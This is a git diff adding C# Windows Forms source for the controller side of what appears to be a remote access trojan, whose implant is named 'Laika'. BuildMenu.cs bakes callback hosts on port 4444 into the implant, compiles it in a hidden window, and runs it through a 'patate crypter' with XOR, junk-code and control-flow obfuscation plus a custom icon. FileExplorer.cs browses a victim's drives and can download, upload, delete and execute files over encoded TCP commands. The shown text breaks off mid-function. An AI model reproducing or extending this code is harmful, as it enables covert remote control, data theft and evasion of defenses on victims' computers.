System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(9, 166); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(72, 13); + this.label3.TabIndex = 6; + this.label3.Text = "patate crypter"; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(83, 193); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(113, 17); + this.checkBox1.TabIndex = 8; + this.checkBox1.Text = "Use patate crypter"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // + // checkBox2 + // + this.checkBox2.AutoSize = true; + this.checkBox2.Enabled = false; + this.checkBox2.Location = new System.Drawing.Point(83, 233); + this.checkBox2.Name = "checkBox2"; + this.checkBox2.Size = new System.Drawing.Size(88, 17); + this.checkBox2.TabIndex = 9; + this.checkBox2.Text = "XOR Encrypt"; + this.checkBox2.UseVisualStyleBackColor = true; + this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Enabled = false; + this.label4.Location = new System.Drawing.Point(235, 223); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(25, 13); + this.label4.TabIndex = 10; + this.label4.Text = "Key"; + // + // textBox2 + // + this.textBox2.Enabled = false; + this.textBox2.Location = new System.Drawing.Point(197, 240); + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(100, 20); + this.textBox2.TabIndex = 11; + // + // checkBox3 + // + this.checkBox3.AutoSize = true; + this.checkBox3.Enabled = false; + this.checkBox3.Location = new System.Drawing.Point(83, 271); + this.checkBox3.Name = "checkBox3"; + this.checkBox3.Size = new System.Drawing.Size(95, 17); + this.checkBox3.TabIndex = 12; + this.checkBox3.Text = "Add junk code"; + this.checkBox3.UseVisualStyleBackColor = true; + this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged); + // + // numericUpDown1 + // + this.numericUpDown1.Enabled = false; + this.numericUpDown1.Location = new System.Drawing.Point(234, 270); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(41, 20); + this.numericUpDown1.TabIndex = 13; + this.numericUpDown1.Value = new decimal(new int[] { + 2, + 0, + 0, + 0}); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Enabled = false; + this.label5.Location = new System.Drawing.Point(192, 272); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(36, 13); + this.label5.TabIndex = 14; + this.label5.Text = "Pass :"; + // + // checkBox4 + // + this.checkBox4.AutoSize = true; + this.checkBox4.Enabled = false; + this.checkBox4.Location = new System.Drawing.Point(83, 298); + this.checkBox4.Name = "checkBox4"; + this.checkBox4.Size = new System.Drawing.Size(81, 17); + this.checkBox4.TabIndex = 15; + this.checkBox4.Text = "Control flow"; + this.checkBox4.UseVisualStyleBackColor = true; + this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged); + // + // numericUpDown2 + // + this.numericUpDown2.Enabled = false; + this.numericUpDown2.Location = new System.Drawing.Point(234, 297); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(41, 20); + this.numericUpDown2.TabIndex = 16; + this.numericUpDown2.Value = new decimal(new int[] { + 8, + 0, + 0, + 0}); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Enabled = false; + this.label6.Location = new System.Drawing.Point(192, 299); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(36, 13); + this.label6.TabIndex = 17; + this.label6.Text = "Pass :"; + // + // button2 + // + this.button2.Enabled = false; + this.button2.Location = new System.Drawing.Point(81, 415); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(213, 38); + this.button2.TabIndex = 18; + this.button2.Text = "Build"; + this.button2.UseVisualStyleBackColor = true; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // label7 + // + this.label7.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label7.Location = new System.Drawing.Point(93, 15); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(254, 2); + this.label7.TabIndex = 19; + // + // label8 + // + this.label8.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label8.Location = new System.Drawing.Point(83, 174); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(263, 2); + this.label8.TabIndex = 20; + // + // button3 + // + this.button3.Enabled = false; + this.button3.Location = new System.Drawing.Point(83, 354); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 21; + this.button3.Text = "Select icon"; + this.button3.UseVisualStyleBackColor = true; + this.button3.Click += new System.EventHandler(this.button3_Click); + // + // pictureBox1 + // + this.pictureBox1.BackColor = System.Drawing.SystemColors.AppWorkspace; + this.pictureBox1.Location = new System.Drawing.Point(195, 332); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(65, 65); + this.pictureBox1.TabIndex = 22; + this.pictureBox1.TabStop = false; + // + // label9 + // + this.label9.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label9.Location = new System.Drawing.Point(20, 407); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(325, 2); + this.label9.TabIndex = 23; + // + // BuildMenu + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(355, 465); + this.Controls.Add(this.label9); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.button3); + this.Controls.Add(this.label8); + this.Controls.Add(this.label7); + this.Controls.Add(this.button2); + this.Controls.Add(this.label6); + this.Controls.Add(this.numericUpDown2); + this.Controls.Add(this.checkBox4); + this.Controls.Add(this.label5); + this.Controls.Add(this.numericUpDown1); + this.Controls.Add(this.checkBox3); + this.Controls.Add(this.textBox2); + this.Controls.Add(this.label4); + this.Controls.Add(this.checkBox2); + this.Controls.Add(this.checkBox1); + this.Controls.Add(this.label3); + this.Controls.Add(this.button1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.Hosts); + this.MinimumSize = new System.Drawing.Size(371, 430); + this.Name = "BuildMenu"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Build a payload"; + this.Load += new System.EventHandler(this.BuildMenu_Load); + this.contextMenuStrip1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ListBox Hosts; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.CheckBox checkBox2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.CheckBox checkBox3; + private System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.CheckBox checkBox4; + private System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Button button3; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label9; + } +} \ No newline at end of file diff --git a/Server/BuildMenu.cs b/Server/BuildMenu.cs new file mode 100644 index 0000000..afeb914 --- /dev/null +++ b/Server/BuildMenu.cs @@ -0,0 +1,179 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server +{ + public partial class BuildMenu : Form + { + public BuildMenu() + { + InitializeComponent(); + } + + private void BuildMenu_Load(object sender, EventArgs e) + { + this.CenterToParent(); + } + + private void button1_Click(object sender, EventArgs e) + { + if (textBox1.Text != "") + { + Hosts.Items.Add(textBox1.Text); + button2.Enabled = true; + textBox1.Clear(); + } + } + + private void Hosts_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + int index = Hosts.IndexFromPoint(e.Location); + if (index < 0) + return; + + Hosts.SelectedIndex = index; + contextMenuStrip1.Show(Cursor.Position); + } + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + Hosts.Items.RemoveAt(Hosts.SelectedIndex); + if (Hosts.Items.Count == 0) + button2.Enabled = false; + } + + private void button2_Click(object sender, EventArgs e) + { + string output = ""; + button2.Text = "Building..."; + button2.Update(); + + string filePath = @"..\Laika\config.h"; + string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count; + newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n"; + for (int i = 0; Hosts.Items.Count > i; i++) + { + newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n"; + } + newContent += "};\n\n"; + newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n"; + for (int j = 0; Hosts.Items.Count > j; j++) + { + newContent += "\t4444,\n"; + } + newContent += "};"; + + File.WriteAllText(filePath, newContent); + System.Diagnostics.Process process = new System.Diagnostics.Process(); + System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); + startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; + startInfo.FileName = "cmd.exe"; + startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath"; + startInfo.RedirectStandardOutput = true; + startInfo.UseShellExecute = false; + startInfo.CreateNoWindow = true; + process.StartInfo = startInfo; + process.Start(); + string vs_path = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + + vs_path = vs_path.Replace("\r\n", ""); + string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"; + + startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + + if (!checkBox1.Checked) + { + File.WriteAllText("build_log.txt", output); + button2.Text = "Done !"; + return; + } + + string args = string.Empty; + if (checkBox2.Checked) + args += " --xor " + textBox2.Text; + if (checkBox3.Checked) + args += " --junk " + numericUpDown1.Value.ToString(); + if (checkBox4.Checked) + args += " --control_flow " + numericUpDown2.Value.ToString(); + if (pictureBox1.ImageLocation != "") + args += " --icon " + pictureBox1.ImageLocation; + + startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + File.WriteAllText("build_log.txt", output); + + button2.Text = "Done !"; + } + + private void button3_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Icon files (*.ico)|*.ico", + Title = "Select your icon" + }; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + string filePath = openFileDialog.FileName; + pictureBox1.ImageLocation = filePath; + pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + pictureBox1.Update(); + } + } + + private void checkBox1_CheckedChanged(object sender, EventArgs e) + { + bool flag = checkBox1.Checked; + + checkBox2.Enabled = flag; + checkBox3.Enabled = flag; + checkBox4.Enabled = flag; + pictureBox1.Enabled = flag; + button3.Enabled = flag; + } + + private void checkBox2_CheckedChanged(object sender, EventArgs e) + { + label4.Enabled = checkBox2.Checked; + textBox2.Enabled = checkBox2.Checked; + } + + private void checkBox3_CheckedChanged(object sender, EventArgs e) + { + label5.Enabled = checkBox3.Checked; + numericUpDown1.Enabled = checkBox3.Checked; + } + + private void checkBox4_CheckedChanged(object sender, EventArgs e) + { + label6.Enabled = checkBox4.Checked; + numericUpDown2.Enabled = checkBox4.Checked; + } + } +} diff --git a/Server/BuildMenu.resx b/Server/BuildMenu.resx new file mode 100644 index 0000000..ad53752 --- /dev/null +++ b/Server/BuildMenu.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/FileExplorer.Designer.cs b/Server/FileExplorer.Designer.cs new file mode 100644 index 0000000..b674479 --- /dev/null +++ b/Server/FileExplorer.Designer.cs @@ -0,0 +1,242 @@ +namespace Server +{ + partial class FileExplorer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.dataGridView2 = new System.Windows.Forms.DataGridView(); + this.FileName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.button1 = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // comboBox1 + // + this.comboBox1.BackColor = System.Drawing.SystemColors.InactiveBorder; + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(50, 13); + this.comboBox1.MaxDropDownItems = 10; + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(121, 21); + this.comboBox1.Sorted = true; + this.comboBox1.TabIndex = 0; + this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 16); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(38, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Drive :"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(205, 16); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(74, 13); + this.label2.TabIndex = 2; + this.label2.Text = "Remote path :"; + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(286, 13); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(472, 20); + this.textBox1.TabIndex = 3; + this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown); + // + // dataGridView2 + // + this.dataGridView2.AllowUserToAddRows = false; + this.dataGridView2.AllowUserToDeleteRows = false; + this.dataGridView2.AllowUserToResizeRows = false; + this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dataGridView2.BackgroundColor = System.Drawing.SystemColors.HighlightText; + this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.dataGridView2.ColumnHeadersHeight = 30; + this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.dataGridView2.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.FileName}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle8; + this.dataGridView2.EnableHeadersVisualStyles = false; + this.dataGridView2.GridColor = System.Drawing.SystemColors.ScrollBar; + this.dataGridView2.Location = new System.Drawing.Point(9, 49); + this.dataGridView2.Margin = new System.Windows.Forms.Padding(0); + this.dataGridView2.MultiSelect = false; + this.dataGridView2.Name = "dataGridView2"; + this.dataGridView2.ReadOnly = true; + this.dataGridView2.RowHeadersVisible = false; + this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.dataGridView2.RowsDefaultCellStyle = dataGridViewCellStyle9; + this.dataGridView2.RowTemplate.ReadOnly = true; + this.dataGridView2.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.dataGridView2.Size = new System.Drawing.Size(782, 392); + this.dataGridView2.TabIndex = 4; + this.dataGridView2.TabStop = false; + this.dataGridView2.CellDoubleClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView2_CellDoubleClick); + this.dataGridView2.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView2_CellMouseClick); + this.dataGridView2.CellPainting += new System.Windows.Forms.DataGridViewCellPaintingEventHandler(this.dataGridView2_CellPainting); + // + // FileName + // + this.FileName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.FileName.HeaderText = "Name"; + this.FileName.Name = "FileName"; + this.FileName.ReadOnly = true; + this.FileName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.downloadToolStripMenuItem, + this.uploadToolStripMenuItem, + this.deleteToolStripMenuItem, + this.executeToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(181, 114); + this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening); + // + // downloadToolStripMenuItem + // + this.downloadToolStripMenuItem.Image = global::Server.Properties.Resources.download; + this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.downloadToolStripMenuItem.Text = "Download"; + this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); + // + // uploadToolStripMenuItem + // + this.uploadToolStripMenuItem.Image = global::Server.Properties.Resources.upload; + this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; + this.uploadToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.uploadToolStripMenuItem.Text = "Upload"; + this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // executeToolStripMenuItem + // + this.executeToolStripMenuItem.Image = global::Server.Properties.Resources.execute; + this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; + this.executeToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.executeToolStripMenuItem.Text = "Execute"; + this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); + // + // button1 + // + this.button1.BackgroundImage = global::Server.Properties.Resources.refresh; + this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Location = new System.Drawing.Point(761, 10); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(30, 27); + this.button1.TabIndex = 5; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // FileExplorer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.button1); + this.Controls.Add(this.dataGridView2); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.comboBox1); + this.MaximumSize = new System.Drawing.Size(816, 489); + this.MinimumSize = new System.Drawing.Size(816, 489); + this.Name = "FileExplorer"; + this.Text = "FileExplorer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FileExplorer_FormClosing); + this.Load += new System.EventHandler(this.FileExplorer_Load); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ComboBox comboBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.DataGridView dataGridView2; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn FileName; + } +} \ No newline at end of file diff --git a/Server/FileExplorer.cs b/Server/FileExplorer.cs new file mode 100644 index 0000000..2d9dd6c --- /dev/null +++ b/Server/FileExplorer.cs @@ -0,0 +1,469 @@ +using System; +using System.IO; +using System.Threading; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Net.Sockets; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using static System.Net.Mime.MediaTypeNames; +using System.Runtime.InteropServices.ComTypes; + +namespace Server +{ + public partial class FileExplorer : Form + { + public FileExplorer() + { + InitializeComponent(); + } + + public static int ITEM_ID = 0; + public static int CLIENT_ID = 0; + public static string PATH = ""; + public static bool OPENED = false; + + private void GetFileList() + { + dataGridView2.Rows.Clear(); + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + string receivedData = ""; + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list")); + stream.Write(Message, 0, Message.Length); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH)); + stream.Write(Message, 0, Message.Length); + + byte[] buffer = new byte[256 * 4096]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + receivedData = Utils.CAESAR_DECRYPT(receivedData); + string[] files = receivedData.Split('/'); + int idx = dataGridView2.Rows.Add(""); + dataGridView2.Rows[idx].Tag = "../."; + foreach (string f in files) + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info")); + stream.Write(Message, 0, Message.Length); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + f)); + stream.Write(Message, 0, Message.Length); + + buffer = new byte[1]; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + + idx = dataGridView2.Rows.Add(""); + dataGridView2.Rows[idx].Tag = f; + if (receivedData == "d") + { + dataGridView2.Rows[idx].Tag += "/d"; + } + else + { + dataGridView2.Rows[idx].Tag += "/f"; + } + } + + c.Client.Blocking = false; + } catch + { + CLIENT_ID = -1; + return; + } + + dataGridView2.ClearSelection(); + dataGridView2.Update(); + } + private void FileExplorer_Load(object sender, EventArgs e) + { + OPENED = true; + CLIENT_ID = Server.Menu.CLIENT_ID; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + string receivedData = ""; + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_drives")); + stream.Write(Message, 0, Message.Length); + + byte[] buffer = new byte[256]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + c.Client.Blocking = false; + } catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + foreach (char l in receivedData) + { + comboBox1.Items.Add(l); + } + comboBox1.SelectedIndex = 0; + PATH = comboBox1.Text + ":/"; + textBox1.Text = PATH; + + dataGridView2.ClearSelection(); + + GetFileList(); + } + + private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0) + { + dataGridView2.CurrentCell = dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex]; + ITEM_ID = dataGridView2.CurrentRow.Index; + + contextMenuStrip1.Show(Cursor.Position); + } + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + PATH = comboBox1.Text + ":/"; + textBox1.Text = PATH; + GetFileList(); + } + + private void button1_Click(object sender, EventArgs e) + { + GetFileList(); + } + + private void dataGridView2_CellDoubleClick(object sender, DataGridViewCellEventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + if (file == ".." && PATH.Length != 3) + { + PATH = PATH.Remove(PATH.LastIndexOf('/', PATH.Length - 2) + 1); + } + else if (type != "d") + return; + else if (file != "..") + { + PATH += file + "/"; + } + textBox1.Text = PATH; + GetFileList(); + } + + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("execute")); + stream.Write(Message, 0, Message.Length); + 